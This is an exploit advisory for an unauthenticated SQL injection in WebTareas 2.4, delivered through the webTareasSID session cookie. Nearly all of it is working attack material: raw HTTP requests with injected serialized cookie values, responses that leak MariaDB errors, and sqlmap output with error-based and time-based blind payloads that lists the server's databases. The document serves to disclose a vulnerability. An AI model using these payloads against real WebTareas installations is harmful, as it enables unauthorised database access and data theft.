WebTareas 2.4 - SQL Injection (Unauthorised) Vulnerability

# Exploit Title: WebTareas 2.4 - SQL Injection (Unauthorised) 
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Vendor Homepage: https://sourceforge.net/projects/webtareas/
# Software Link: https://sourceforge.net/projects/webtareas/
# Version: 2.4
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example 
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Param: webTareasSID in cookie
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Req
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GET /webtareas/administration/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/webtareas/general/login.php?msg=logout
Connection: close
Cookie: webTareasSID=Mt%ezS%00%07contCtxNzS%00%06_itemsVl%00%00%00%02S%00%03fooS%00%03barzzR%00%00%00%01Mt%001com.sun.org.apache.xpath.internal.objects.XStringS%00%05m_objS%00%04%eb%a7%a6%0f%1a%0bS%00%08m_parentNzR%00%00%00%12z''
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

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Res:
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HTTP/1.1 302 Found
Date: Sat, 15 Oct 2022 11:38:50 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../service_site/home.php?msg=permissiondenied
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

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Req
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GET /webtareas/administration/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/webtareas/general/login.php?msg=logout
Connection: close
Cookie: webTareasSID=Mt%ezS%00%07contCtxNzS%00%06_itemsVl%00%00%00%02S%00%03fooS%00%03barzzR%00%00%00%01Mt%001com.sun.org.apache.xpath.internal.objects.XStringS%00%05m_objS%00%04%eb%a7%a6%0f%1a%0bS%00%08m_parentNzR%00%00%00%12z'
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
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Res:
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HTTP/1.1 302 Found
Date: Sat, 15 Oct 2022 11:38:39 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../service_site/home.php?msg=permissiondenied
Content-Length: 355
Connection: close
Content-Type: text/html; charset=UTF-8

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'javax.naming.spi.ContinuaS' at line 1(1064)<br />
<b>Warning</b>:  Unknown: Failed to write session data using user defined save handler. (session.save_path: E:\xampp_php7\tmp) in <b>Unknown</b> on line <b>0</b><br />

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SQLMap:
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sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: webTareasSID=Mt%00%00Mt%00%17com.caucho.naming.QNameS%00%08_contextMt%00' AND (SELECT 7431 FROM(SELECT COUNT(*),CONCAT(0x717a717071,(SELECT (ELT(7431=7431,1))),0x71716a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- wBnB; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: webTareasSID=Mt%00%00Mt%00%17com.caucho.naming.QNameS%00%08_contextMt%00' AND (SELECT 7004 FROM (SELECT(SLEEP(5)))BFRG)-- Oamh; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1
	
	[11:49:03] [INFO] testing MySQL
	[11:49:03] [INFO] confirming MySQL
	do you want to URL encode cookie values (implementation specific)? [Y/n] Y
	[11:49:03] [INFO] the back-end DBMS is MySQL
	web application technology: PHP 7.4.30, Apache 2.4.54
	back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
	[11:49:03] [INFO] fetching database names
	[11:49:04] [INFO] starting 6 threads
	[11:49:06] [INFO] retrieved: 'zxcv'
	[11:49:06] [INFO] retrieved: 'information_schema'
	[11:49:06] [INFO] retrieved: 'performance_schema'
	[11:49:06] [INFO] retrieved: 'test'
	[11:49:06] [INFO] retrieved: 'phpmyadmin'
	[11:49:06] [INFO] retrieved: 'mysql'
	available databases [6]:
	[*] information_schema
	[*] mysql
	[*] performance_schema
	[*] phpmyadmin
	[*] test
	[*] zxcv

	[11:49:06] [INFO] fetched data logged to text files under 'C:\Users\48720\AppData\Local\sqlmap\output\127.0.0.1'
	[11:49:06] [WARNING] your sqlmap version is outdated

	[*] ending @ 11:49:06 /2022-10-15/